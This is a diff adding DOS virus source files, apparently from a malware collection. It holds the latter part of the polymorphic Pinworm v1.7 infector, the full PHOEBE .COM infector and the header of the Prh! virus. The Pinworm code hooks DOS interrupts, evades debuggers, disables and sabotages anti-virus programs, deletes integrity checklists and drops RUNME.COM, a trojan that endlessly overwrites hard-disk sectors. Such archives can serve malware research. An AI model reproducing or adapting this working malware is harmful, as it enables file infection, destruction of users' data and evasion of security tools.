MOV SI,XXXX +rel2_off dw offset heap+1000h ; org copy: ptr way out there + call shit +add_bp: int 19h ; fuck 'em if they skipped + jmp in_op ; 1 + db 0BAh ; MOV DX,XXXX +in_op: in al,21h + push ax + or al,02 + jmp kill_keyb ; 1 + db 0C6h +kill_keyb: out 21h,al ; keyboard=off + call shit6 +past_shit: jmp dbl_crypt +shit7: + xor ax,ax ;null es + mov es,ax + mov bx,word ptr es: [06] ;get INT 1 + ret +shit: + mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP + mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister + ret +shit2: + mov word ptr cs: dec_si[bp],4E4Eh + mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother + call shit3 + jnc code_start ;did they skip shit3? + xor dx,cx + ret + db 0EAh ;JMP FAR X:X +shit4: + db 0BAh ;MOV DX,XXXX +sec_enc dw 0 + mov di,4A4Dh ;prepare for Soft-ice + ret +shit3: + mov ax,911h ;soft-ice - execute command + call shit4 + stc + dec word ptr es: [06] ;2-kill INT 1 vector + push si + mov si,4647h ;soft-ice + int 3 ;call SI execute - DS:DX-garbage + pop si + ret + +shit6: mov byte ptr cs: past_shit[bp],0EBh + out 21h,al ; try turning keyboard off again + ret + +dbl_crypt: ; main portion of cryptor + mov cx,(offset heap-offset ret2_byte)/2+1 + call shit7 +dbl_loop: + jmp $+3 ; 1 + db 034h ; XOR ... + call shit3 ; nested is the set DX + xchg sp,dx ; xchg SP and DX + jmp xor_op ; 1 + db 0EAh ; JMP FAR X:X +xor_op: xor word ptr cs: [si],sp ; the real XOR baby.. + xchg sp,dx ; restore SP + call shit2 +dec_si: pop ss ; fuck 'em if they skipped shit2 + pop sp + int 3 + xchg sp,bx ; SP=word of old int 1 vec + dec cx + mov es: [06],sp ; restore int 1 vector + xchg sp,bx ; restore SP + jnz dbl_loop +ret2_byte db 90h,90h + + +ENDIF +; +; Start of Viral Code +; + +code_start: +IF SECOND_CRYPT + pop ax es ; Get port reg bits (ES=PSP) + out 21h,al ; restore keyboard +ENDIF + + mov cs: activate[bp],0 ; reset activation toggle + mov cs: mem_word[bp],0 ; reset mem. encryption + mov cs: non_infects[bp],0 ; reset non-infection counter + + inc si ; SI!=0 + mov dx,vsafe_word ; remove VSAFE/VWATCH from memory + mov ax,0FA01h ; & check for residency of virus too + int 21h + or si,si ; if SI=0 then it's us + jz no_install + + mov ah,2ah ; get date + int 21h + cmp dl,KILL_DATE ; is it time to activate? + jnz not_time + mov cs: activate[bp],1 + +not_time: + + mov ax,es ; PSP segment - popped from DS + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB + sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,(offset vend - offset start)/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + +IF NOT SAFE_MEM + call get_timer + cmp dl,5 + jle no_install +ENDIF + sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem + +no_install: + + xor si,si ; null regs.. + xor di,di ; some progs actually care.. + xor ax,ax + xor bx,bx + xor dx,dx + + pop es ds ; restore ES DS + cmp cs: exe_phile[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + movsw + movsw + + mov ax,100h ; jump back to 100h + push ax +_ret: ret + +exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs: [exe_jump+2+bp],cx + int 3 ; fix prefetch + cli + mov sp,cs: oldsp[bp] ; restore old SP.. + sti + db 0eah +exe_jump dd 0 +oldsp dw 0 +exe_phile db 0 + +; +; Infection Routine +; +; DS:DX=fname +; Assumes EXE if first byte is 'M' or 'Z' +; Changes/Restores attribute and time/date +; +; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's +; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it +; unusable. +; +infect_file: + + mov di,dx ; move filename ptr into an index reg + push ds ; search for end of filename(NULL) + pop es + xor ax,ax + mov cx,128 + repnz scasb + + cmp word ptr [di-3],'EX' ;.eXE? + jz is_exec +chk_com: cmp word ptr [di-3],'MO' ;.cOM? + jnz _ret +is_exec: +IF KILL_AV + mov cs: isav,0 + cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV + jz anti_action + cmp word ptr [di-7],'TO' ;*OT.*? F-PROT + jz anti_action + cmp word ptr [di-7],'NA' ;*AN.*? + jnz name_ok + cmp word ptr [di-9],'CS' ;*SCAN.*? + jnz name_ok +anti_action: + inc cs: isav ; set mark for anti-virus kill +name_ok: +ENDIF + push ds ; save fname ptr segment + mov es,ax ; NULL ES (ax already 0) + lds ax,es: [24h*4] ; get INT 24h vector + mov old_24_off,ax ; save it + mov old_24_seg,ds + mov es: [24h*4+2],cs ; install our handler + mov es: [24h*4],offset new_24 + pop ds ; restore fname ptr segment + push es + push cs ; push ES for restoring INT24h later + pop es ; ES=CS + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs 4301h + push ax cx ds dx ; save AX-call/CX-attrib/DX:DS + xor cx,cx ; zero all + int 21h + + mov bx,signal + mov ax,3d02h ; open the file + int 21h + jc close ; if error..quit infection + + xchg bx,ax ; get handle + + push cs ; DS=CS + pop ds + +IF KILL_CHKLIST + call kill_chklst ; kill CHKLIST.MS & .CPS filez +ENDIF + mov ax,5700h ; get file time/date + int 21h + push cx dx ; save 'em for later + + mov ah,3fh ; Read first bytes of file + mov cx,18h ; EXE header or just first bytes of COM + lea dx,org_bytes ; buffer used for both + int 21h + + call offset_end ; set ptr to end- DXAX=file_size + + cmp byte ptr org_bytes,'M' ; EXE? + jz do_exe + cmp byte ptr org_bytes,'Z' ; EXE? + jz do_exe + cmp byte ptr org_bytes+3,0 ; CoM infected? + jnz proceed + inc non_infects ; increment non-infection counter + jmp d_time +proceed: + + dec exe_phile + + push ax ; save file size + add ax,100h ; PSP in com + mov rel_off,ax ; save it for decryptor + mov bp_calc,ax + + call encrypt_code ; copy and encrypt code + + lea dx,vend ; start of newly created code + mov cx,offset heap+0FFh ; virus length+xtra + add cl,size_disp ; add random ^in case cl exceeds FF + mov ah,40h + int 21h ; append virus to infected file + + call offset_zero ; position ptr to beginning of file + + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax ; save it.. + + lea dx,new_jmp ; write the new jmp (E9XXXX,0) + mov cx,4 ; total of 4 bytes + mov ah,40h + int 21h + +d_time: + + call make_trojan + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + +close: + + mov ah,3eh ; close phile + int 21h + + pop dx ds cx ax ; restore attrib + int 21h + +dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es: [24h*4],ax + mov es: [24h*4+2],ds + + ret ; return back to INT 21h handler + +do_exe: + cmp dx,MAX_EXE + jg d_time + + mov exe_phile,1 + +IF KILL_AV + cmp isav,1 ; anti-virus software? + jnz not_av + mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh + jmp write_hdr +not_av: +ENDIF + cmp word ptr exe_header[12h],0 ; checksum 0? + jz proceed2 + inc non_infects ; increment non-infection counter + jmp d_time +proceed2: + mov cx,mem_word ; get random word + inc cx ; make sure !0 + mov word ptr exe_header[12h],cx ; set checksum to!0 + mov cx,word ptr exe_header[10h] ; get old SP + mov oldsp,cx ; save it.. + mov word ptr exe_header[10h],0 ; write new SP of 0 + + les cx,dword ptr exe_header[14h] ; Save old entry point + mov word ptr exe_jump, cx ; off + mov word ptr exe_jump[2], es ; seg + + push cs ; ES=CS + pop es + + push dx ax ; save file size DX:AX + cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+) + jz pklited + cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE + jge d_time + pklited: + + mov bp, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *10h + shl bp,cl ; ^by shifting one byte + sub ax,bp ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide me baby + div cx + + mov word ptr exe_header+14h,dx ; save new entry point + mov word ptr exe_header+16h,ax + mov rel_off,dx ; save it for encryptor + mov bp_calc,dx + + call encrypt_code ; encrypt & copy the code + + mov cx,offset heap+0FFh ; virus size+xtra + add cl,size_disp ; add random ^in case cl exceeds FFh + lea dx,vend ; new copy in heap + mov ah,40h ; write the damn thing + int 21h + + pop ax dx ; AX:DX file size + + mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below + add cl,size_disp + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr exe_header+4h,dx ; save new mem. alloc info + mov word ptr exe_header+2h,ax + +write_hdr: + call offset_zero ; position ptr to beginning + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp d_time ; restore shit/return + + +; +; Kills CHKLIST.CPS and CHKLIST.MS +; +; + +kill_chklst: + mov di,2 ; counter for loop + lea dx,chkl1 ; first fname to kill +kill_loop: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h ; delete phile + int 21h + lea dx,chkl2 ; second fname to kill + dec di + jnz kill_loop + + ret + +; +; Set File PTR +; + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h +set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret +; +; Make Trojan File +; +make_trojan: + cmp non_infects,TROJAN_NUM + jl dont_trojan + mov non_infects,0 + xor cx,cx + mov ah,3ch + lea dx,trojan_name + int 21h + xchg ax,bx + mov ah,40h + lea dx,trojan_data + mov cx,TROJAN_DATA_LEN + int 21h + mov ah,3eh + int 21h +dont_trojan: + ret + +; +; Morph, copy, & crypt + +; 0 bytes constant +; 0 functionally equivilant operands in constant locations +; +; Random byte defined as: +; 76543210 +;  0=JNZ,1=JNS +;  0=ADD&SUB, 1=XOR +;  0=BYTE CRYPTION, 1=WORD CRYPTION +;  1=INCREMENT POINTER TO 'MOV SI|DI,XXXX' OPERAND +;  1=USE TWO BYTE GARBAGE, 0=USE ONE BYTE GARBAGE ONLY +;  1=USE CONSTANT STREAM OF ONE BYTE GARBAGE, 0=NORMAL RANDOM +;  not used +;  not used +; +; +encrypt_code: + + push bx ; save the handle + + call get_timer +IF SECOND_CRYPT + mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor + mov byte ptr sec_enc+1,dh +ENDIF + + mov ax,0FFFFh + call random + mov enc_num,dl ; store ms count for encryption + mov mem_word,dx ; mem cryption too + mov size_disp,dl ; and size displacment + +; Fill buffer space with one-byte garbage ops + + lea di,encrypt + mov bp,enc_size+1 + test enc_num,00100000b ; use constant 1 byte operand? + jnz do_constant + mov bl,1 + jmp fb1 +do_constant: + mov bl,0 +fb1: + call fill_buffer + +; Randomly select between jmp type : JNZ or JNS + + test enc_num,00000001b + jnz jmp_2 + mov byte ptr jnz_op,75h ; use jnz + jmp jmp_set + jmp_2: + mov byte ptr jnz_op,79h ; jns + jmp_set: + +; Select encryption type: XOR or ADD&SUB + + mov enc_type,04 ; default to encrypting ADD + mov dec_type,2Ch ; and decrypting SUB + test enc_num,00000010b + jz use_add_sub + mov dec_type,34h ; decrypting XOR + mov enc_type,34h ; encrypting XOR + use_add_sub: + +; Change register used for the counter + + cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI + jnz get_reg + mov byte ptr count_op,0B7h ; AX-1 + mov byte ptr dec_op,47h ; AX-1 + get_reg: + inc byte ptr count_op ; increment to next register in line + inc byte ptr dec_op + +; Select position of INC DI|SI + + mov ax,INC_BUF_SIZE-1 + call random ; select a position in the buffer.. + xchg di,dx + add di,offset inc_buf + mov inc_op_ptr,di ; save ptrs + mov inc_op_ptr2,di + +; Toggle between SI and DI + + cmp byte ptr ptr_set,0BEh ; using SI? + jz chg_di ; if so, then switch to DI + mov byte ptr [di],46h ; write INC SI + dec byte ptr ptr_set ; decrement to SI + jmp done_chg_ptr + chg_di: + mov byte ptr [di],47h ; write INC DI + inc byte ptr ptr_set ; increment to DI + inc byte ptr dec_type ; increment decryptor + inc byte ptr enc_type ; increment encryptor + done_chg_ptr: + +; Select word or byte encryption + + mov w_b,80h ; default to byte cryption + test enc_num,00000100b ; use word? + jz use_byte + mov w_b,81h ; now using word en/decryptor + mov ax,di + sub ax,offset inc_buf+1 + call random + mov ch,byte ptr [di] ; get INC DI|INC SI operand + sub di,dx + mov byte ptr [di],ch ; make a copy of it for word cryption + mov inc_op_ptr2,di + use_byte: + +; Increment counter value + + cmp byte ptr crypt_bytes,0Fh ; byte count quite large? + jnz inc_cnt ; if not..increment away + mov crypt_bytes,offset vend ; else..reset byte count + inc_cnt: + inc crypt_bytes ; increment byte count + + +; Set DEC XX /JNS|JNZ operands + + mov ax,DJ_BUF_SIZE-3 + call random ; select a pos. + add dx,offset dj_buf + mov di,dx + sub dx,offset enc_loop-3 ; find loop size + neg dx ; negate for negative jump + mov byte ptr jnz_op+1,dl ; write jmp offset + dec dl + mov byte ptr loop_ofs,dl ; write loop offset + mov dec_op_ptr,di + lea si,dec_op + movsb ; write operand(s) +write_loop: + movsw + inc di + add rel_off,di ; chg offset for decryption + push di ; save offset after jmp + + +; Set MOV DI,XXXX|MOV SI,XXXX + + mov ax,PTR_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset ptr_buf ; build ptr + mov ptr_op_ptr,di ; save ptr + lea si,ptr_set + movsw ; write op + movsb + +; Set MOV AX|BX|DX|CX,XXXX + + mov ax,CNT_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset cnt_buf ; build ptr + mov count_op_ptr,di ; save ptr + lea si,count_op + movsw ; write op + movsb + +; Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX + + mov ax,ENC_OP_BSIZE-5 + call random ; select pos. + xchg dx,di + add di,offset enc_op_buf ; build ptr + mov enc_op_ptr,di ; save ptr + lea si,seg_op + movsw ; write op + movsw + +IF TWO_BYTE +; Throw in some 2 byte garbage ops + test enc_num,00010000b ; use two-byte garbage? + jz no_2byte_grb + lea di,encrypt + mov bp,ptr_op_ptr + push bp + call fill_between + pop di + add di,3 ; 3bytez large + mov bp,count_op_ptr + push bp + call fill_between ; fill between start and count reg + pop di + add di,3 ; 3bytez large + mov bp,inc_op_ptr2 + push bp + call fill_between ; fill between count reg and inc ptr + pop di + inc di ; 1byte large + mov bp,inc_op_ptr + push bp + call fill_between ; if another inc ptr op exist, then + pop di ; .. fill in between both of them + inc di ; 1byte large + mov bp,enc_op_ptr + push bp + call fill_between ; fill between inc ptr and encryption + pop di ; ..op + add di,5 ; 5bytez large + mov bp,dec_op_ptr + call fill_between ; fill between encryption op and loop +no_2byte_grb: +ENDIF + +; +;[END OF POLYMORPHIC ENGINE] +; + +; FiX second cryptor offset + +IF SECOND_CRYPT + mov rel2_off,offset heap ;first gen has mispl. off +ENDIF + +; Copy virus code along with decryptor to heap + + mov cx, (offset heap-offset start)/2+1 + xor si,si + lea di,vend ; ..to heap for encryption + rep movsw ; make another copy of virus + +IF SECOND_CRYPT +; Call second encryptor first + + mov si,offset vend ; offset of enc. start.. + add si,offset heap ; ..at end of code + mov ret2_byte,0C3h + xor bp,bp + call dbl_crypt + mov ret2_byte,90h +ENDIF + +; Set ptr to heap for encryption + + pop si ; pop offset after jmp + add si,offset vend ; offset we'z bez encrypting + mov di,si ; we might be using DI too + +; Encrypt the mother fucker + + mov ret_byte,0C3h ; put RET + mov al,enc_type + mov bx,enc_op_ptr + mov byte ptr [bx+2],al ; set encryption type + call encryptor ; encrypt the bitch + + pop bx ; restore phile handle + ret ; return + +; +; Garbage Code Filler +; DS:DI = buffer address +; BP = buffer size +; BL = 0 - Use 1 byte constant garbage op +; = 1 - Use 1 byte random garbage ops +; = 2 - Use 2 byte random garbage ops +; +; Decently random..relies on previously encrypted data and MS from clock +; to form pointer to the next operand to use.. +; +; +fill_buffer: + push ax + mov ax,GARBAGE_OPS + call random + pop ax + mov si,dx ; build index ptr +IF TWO_BYTE + cmp bl,2 ; using 1 byte, or 2 byte ops? + jz word_grb +ENDIF + cmp bl,0 ; using constant stream of 1 byte op? + jnz not_constant + + mov si,cons_byte +not_constant: + mov al,byte ptr [nops_1+si] ; get 1byte operand from table + mov byte ptr [di],al ; write operand +IF TWO_BYTE + jmp did_1byte +word_grb: + cmp di,offset enc_loop-1 ; don't put 2byte op at loop begin + jnz di_ok +di_not_ok: + mov al,byte ptr [nops_1+si] ; get 1byte op + mov ah,al ; duplicate + jz couldnt_do_2 +di_ok: + cmp di,offset encryptor-1 ; don't put 2byte op at call begin + jz di_not_ok + add si,si ; double pointer for word offsets + mov ax,word ptr [nops_2+si] ; get garbage op +couldnt_do_2: + mov word ptr [di],ax ; write op + inc di ; increment ptr + dec bp ; decrement counter + jz _fret +did_1byte: +ENDIF + inc di ; increment buffer ptr + dec bp ; decrement counter + jnz fill_buffer ; loop + cmp cons_byte,GARBAGE_OPS + jl in_range + mov cons_byte,-1 +in_range: + inc cons_byte +_fret: ret + +IF TWO_BYTE +; +; Fill Bytes Between Two Ops /w Garb. +; DS:DI=First Op +; DS:BP=Last Op +; +fill_between: + sub bp,di ; get difference of offsets + cmp bp,4 ; if <4 then not 'nuff room + jl not_room + sub bp,2 ; make sure we don't overwrite last op + mov bl,2 ; use 2byte garbage ops + call fill_buffer +not_room: + ret +ENDIF +; +; Get sec/ms from clock +; +get_timer: + push ax + mov ah,2ch ; get clock + int 21h + mov ran_seed,dx + pop ax + ret + +; +; Get Random Number +; AX=max number +; ret: DX=random # [will not return 0] +; ROUTINE PARTIALLY FROM: TP6.0 BOOK +; +random: + push ax + mov ax,ran_seed + mov cx,31413 + mul cx + add ax,13849 + mov ran_seed,ax + pop cx + mul cx + cmp dx,0 + jnz ran_ok + inc dx +ran_ok: + ret + +; +; Associated bullshit +; +chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum +chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum +pin_dir db 255,'PIWrM.g!',0 ; DIR created +root db '..',0 ; for changing to org. dir +act_file db 'VIROGEN.MSG',0 +act_data db ' Thank you for allowing Pinworm v1.7 to reside within your computer! You will',cr + db 'be rewarded for your kindness by the gods which reign over the cyber world.',cr + db 'You may thank the holy god of heart and kindness, irogen, for bringing this',cr + db 'life into the cold and dead realms of your computer.',0 +activate db 0 +isav db 0 +new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id) +non_infects db 0 ; counter for executables not infected +ran_seed dw 0 +trojan_name db 'RUNME.COM',0 +trojan_data: + mov ax,0340h ; func-3/ write sectors al=40h sectors + push ax + mov cx,0101h ; start at cyl 1 sec 1 + mov dx,0002h ; 2=c: +death_loop: + int 13h ; write 'em baby + inc ch ; increment track # + pop ax + push ax + jmp death_loop ; the neverending loop from hell +td_end: +; +; Polymorphic engine data +; +inc_op_ptr dw offset inc_buf ; ptr to location of INC +enc_op_ptr dw offset enc_op_buf ; actual ENC op ptr +ptr_op_ptr dw offset ptr_buf ; ptr to ptr set pos +count_op_ptr dw offset cnt_buf ; ptr to counter reg pos +dec_op_ptr dw offset dj_buf ; ptr to decrement counter op pos +inc_op_ptr2 dw 0 +seg_op db 2Eh ; CS +w_b db 80h ; byte=80h word=81h +dec_type db 2Ch ; SUB BYTE PTR CS:[DI|SI],XXXX +enc_num db 0 +enc_type db 2Ch +ptr_set db 0BEh ; MOV DI|SI,XXXX +rel_off dw real_start+100h +count_op db 0B8h ; MOV AX|BX|CX|DX,XXXX +crypt_bytes dw offset vend-offset dj_buf +dec_op: dec ax ; DEC AX|BX|CX|DX +jnz_op db 75h,0 +loop_ofs db 0 +cons_byte dw 0 +; +; One-byte Garbage Operands (must be 16) +; + +nops_1: nop +IF INCLUDE_INT3 + int 3 +ELSE + cld +ENDIF + into + inc bp + dec bp + cld + nop + stc + cmc + clc + stc + into + cli + sti + inc bp +IF INCLUDE_INT3 + int 3 +ELSE + nop +ENDIF + +IF TWO_BYTE +; +; Two-byte Garbage Operands (must be 16) +; +nops_2: db 0EBh,0 ; JMP $+2 + db 74h,0 ; JZ $+2 + db 75h,0 ; JNZ $+2 + db 7Ch,0 ; JL $+2 + db 7Fh,0 ; JG $+2 + db 72h,0 ; JC $+2 + or bp,bp + not bp + neg bp + mov bp,ax + mov bp,dx + mov bp,si + mov bp,di + mov si,si + mov di,di + xchg cx,cx +ENDIF + +; +; Activation Routine +; +; Creates directory named after Pinworm and files +; in that directory which together form a message. +; +act_routine: + push ax bx cx ds dx bp es cs + pop ds + mov activate,0 ;we're in work now.. + lea dx,pin_dir ;create our subdirectory + mov ah,39h + int 21h + mov ah,3bh ;change to our new subdirectory + int 21h + lea dx,act_file + xor cx,cx + mov ah,3ch + int 21h + xchg ax,bx + lea dx,act_data + mov cx,(offset activate-offset act_data) + mov ah,40h + int 21h + mov ah,3eh + int 21h + + lea dx,root ; change back to orginal dir + mov ah,3bh + int 21h + + cmp r_delay,5 ;5 calls? + jl r_no ;if not then skip keyboard ror + mov r_delay,-1 + xor ax,ax ;es=null + mov es,ax + ror word ptr es: [416h],1 ;rotate keyboard flags +r_no: + inc r_delay ;increment calls count + mov activate,1 + pop es bp dx ds cx bx ax + jmp no_act + +; +; Interrupt 24h - critical error handler +; +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + +; +; In-memory encryption function +; **virus encrypted in memory up to this point** +; +mem_crypt: + mov cx,offset mem_crypt-offset code_start + xor di,di ;offset 0 +mem_loop: + db 2Eh,81h,35h ;CS:XOR WORD PTR [DI], +mem_word dw 0 ;XXXX + inc di + loop mem_loop + ret + +; +; Interrupt 21h +; returns SI=0 and passes control to normal handler if +; VSAFE uninstall command is recieved. +; +new21: + pushf + + cmp cs: activate,1 ; time to activate? + jnz no_act + cmp ah,0Bh + jl act_routine +no_act: + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + xor si,si ; tis us + mov di,4559h ; simulate VSAFE return +not_us: + cmp ah,4bh ; execute phile? + jnz jmp_org + +go_now: push ax bp bx cx di dx ds es si + call mem_crypt ; decrypt in memory + call infect_file ; the mother of all calls + call mem_crypt ; encrypt in memory + pop si es ds dx di cx bx bp ax + + jmp_org: + popf + db 0eah ; jump far + old21 dd 0 ; O:S + + +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +; Start of heap (not written to disk) +heap: +db 14h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +r_delay db 0 +size_disp db 0 ; additional size of virus +vend: ; end of virus in memory.. +cseg ends + end start + diff --git a/p/Phoebe.asm b/p/Phoebe.asm new file mode 100755 index 0000000..3bbf646 --- /dev/null +++ b/p/Phoebe.asm @@ -0,0 +1,180 @@ + + + +;PHOEBE +;coded by Opic of the Codebreakers +;PHOEBE is an appending .com infector with DT via a dotdot routine +;infection criteria is met on a moday once all files that are capable of +;being infected by PHOEBE are, a payload is delivered: +;the monitor will print a message to the screen(in the French) which +;translates to;"Indroducing PHOEBE, she was coded in the heart of midwest +;america in the autumn of ninteen ninty-seven by Opic of The Codebreakers" +;along with a text string which will be printed to the printer. Thanx go +;out to:Spo0ky,Arsonic,and Sea4 for which without their help Phoebe whould +;not be what she is today. PHOEBE can be assembled using a86 V4.02 +;it should be noted that phoebe has no anti-av routines, yet is still +;remains undetectable by most av software. a testament to the inconsistancy +;of many av scanners, specifically windows95 scanners. + + + +db 0e9h,0,0 ;jump to virus code.. + + +start_of_PHOEBE: + + call delta ;get delta offset to get # of byte virus moved down + + delta: + pop bp ; call a pop register to get the ip back into register + sub bp,offset delta ; we subtract the offset delta from bp(ip) + mov cx,3 + mov di,100h + lea si,[bp+buffer] + rep movsb + jmp find_first ;jump to find the first file + +find_first: + mov ah,4eh ;find's first file in the starting directory.. + mov cx,7 + lea dx,[bp+filespec] + int 21h + jnc open ;one found.. then infect da + jmp dir_loopy ;otherwise change directory + +dir_loopy: + lea dx,[bp+dotdot] + mov ah, 3bh ;int for chdir + int 21h + jnc find_first ;find first file in new directory + jmp check_payload ; we finished spreading so we check payload criteria + +find_next: + mov ah, 4Fh ;find next.. + int 21h + jnc open ;one found.. INFECT IT! + jmp dir_loopy ;otherwise we do a cd.. + +open: + mov ax,3d02h ;open file + mov dx,9eh ;get the info from the dta + int 21h + + mov bx,ax + + mov ah,3fh ;read from file + mov cx,3 ;3 bytes + lea dx,[bp+buffer] + int 21h + mov ax,word ptr[80h + 1ah] + sub ax,end_of_PHOEBE - start_of_PHOEBE + 3 + cmp ax,word ptr[bp+buffer+1] + je bomb_it_out + mov ax,word ptr[80h + 1ah] + sub ax,3 + mov word ptr[bp+new_three+1],ax + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + mov ah,40h + lea dx,[bp+new_three] + mov cx,3 + int 21h + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + mov ah,40h + lea dx,[bp+start_of_PHOEBE] + mov cx,end_of_PHOEBE - start_of_PHOEBE + int 21h + jmp bomb_it_out + + bomb_it_out: ;closes the file.. + mov ah,3fh ;close file + int 21h + + jmp find_next ;find another.. + +check_payload: + mov ah,2ah ;gets system date + int 21h ;opens it + cmp al,001h ;compares, is it monday? + je payload ; if so, we got shit to do + jmp get_out ; if not then we chill till Mon. + +payload: + mov ah,09h ; Fuction 09h: Print String to standard output + lea dx,screen ; Start of '$' terminated string + int 21h + + mov ah,01h ;begin of printer sect of payload + mov dx,0h + int 17h ;int for initializing printer + + lea si,string1 + mov cx,String1Len + PrintStr: + mov ah,00h + lodsb + int 17h + loop PrintStr + +Get_out: + lea di,100h + jmp di + +new_three db 0e9h,0,0 +filespec db '*.com',0 +dotdot db '..',0 +screen db "Voila PHOEBE! Elle etait code' dans la coeur de ,",10,13 +screen2 db "l'amerique midwest a l'automne, dix-neuf cent",10,13 +screen3 db 'quatre-vingt-dix-sept, par Opic des Codebreakers',10,13,'$' +;You have to have the "$" at the end of all the text you want to print + +String1Len EQU EndStr1-String1 +String1 db '*************************PHOEBE*************************',0dh,0ah + db 'Phoebe: high school knockout, better take our MONDAY to',0dh,0ah + db 'the tuesday prize fighter(you were a cab driver off on',0dh,0ah + db 'the distance).youre a runner or a lover:sacred taylor',0dh,0ah + db 'set our records straight one lost two late,im a little',0dh,0ah + db 'off time so set your ticker to mine:',0dh,0ah + db 'id love to have my halo of social grace recrowned.',0dh,0ah + db '(desert island ect.) home to ill will and',0dh,0ah + db 'misrepresentation. barter with me now mexico, i demand',0dh,0ah + db 'it.come bluebeard & red blood-we are life-even in our',0dh,0ah + db 'tied down mishaps. we are life; endure us. dead seven',0dh,0ah + db 'year old run over by a bus while stealing your first',0dh,0ah + db 'and only bicycle; endure. this is life even in my wine',0dh,0ah + db 'glass even in my ever faltering and constant doubt we',0dh,0ah + db 'are here, this is it, endure. even in on our toilet',0dh,0ah + db 'in the morning or in your shitbox or motel, you have',0dh,0ah + db 'made it-rejoice!-the ground will open up on us even',0dh,0ah + db 'before this glass is finished. this year will end for',0dh,0ah + db 'most of us.salt touches the ground, athens have we',0dh,0ah + db 'lost quite yet? savagly speared we went down quietly?',0dh,0ah + db 'giving up our youth or even worse our spirit so',0dh,0ah + db 'daintily as a beauty queen shits at midnight? was no',0dh,0ah + db 'one watching? listening? tell me athens: are we',0dh,0ah + db 'christians and lions? have i got my history all wrong?',0dh,0ah + db 'from the first to the last or one year past: "are these',0dh,0ah + db 'the depths of despair so unevenly documented in its',0dh,0ah + db 'text?".for once athens history repeats itself.tell me',0dh,0ah + db 'what do you think of our football games? are our glory',0dh,0ah + db 'days over? is america doomed with pre-ejaculation? i',0dh,0ah + db 'must know. slap me and tell me im like all the rest,',0dh,0ah + db 'athens,id feel so much better if you did.am i a thief',0dh,0ah + db 'stealing red robed memory? am i: train through a',0dh,0ah + db 'tunnel? rocketship blasting off? the washington',0dh,0ah + db 'monument? i bet i am.i am wimpering under your window',0dh,0ah + db 'sill or whispering to your pillowed ear:rejoice! we are',0dh,0ah + db 'famous watchers.sewer of amber letters, lips sewed a',0dh,0ah + db 'thread of truth to your tongue.i named and numbered my',0dh,0ah + db 'system the whole world over,and you?you got flowers and',0dh,0ah + db 'chocolates.like a steel warehouse summer turned calcium',0dh,0ah + db 'to carbon.',0dh,0ah + db '****coded/copyrighted:Opic*********Codebreakers,1997****',0Ch +EndStr1: +buffer db 0cdh,20h,0 +end_of_PHOEBE: diff --git a/p/prah.asm b/p/prah.asm new file mode 100755 index 0000000..4d28d42 --- /dev/null +++ b/p/prah.asm @@ -0,0 +1,962 @@ +; ************************************************************************* +; ******************** ******************** +; ******************** PRH! VIRUS ******************** +; ******************** by ******************** +; ******************** BLACK JACK ******************** +; ******************** ******************** +; ************************************************************************* + +comment ~ + +NAME: Prh! v1.03 +AUTHOR: Black Jack +TYPE: Memory resident appending infector of DOS EXE and COM files. +SIZE: 1454 bytes in EXEs (plus 7 bytes in COMs plus 17 to 32 padding bytes) +ENCRYPTED: Yes +POLYMORPH: No +STEALTH: No +TUNNELING: No +ANTI-EMULATION: Yes +ANTI-DEBUGGING: Yes +DATE/TIME: Yes +ATTRIBUTE: Yes 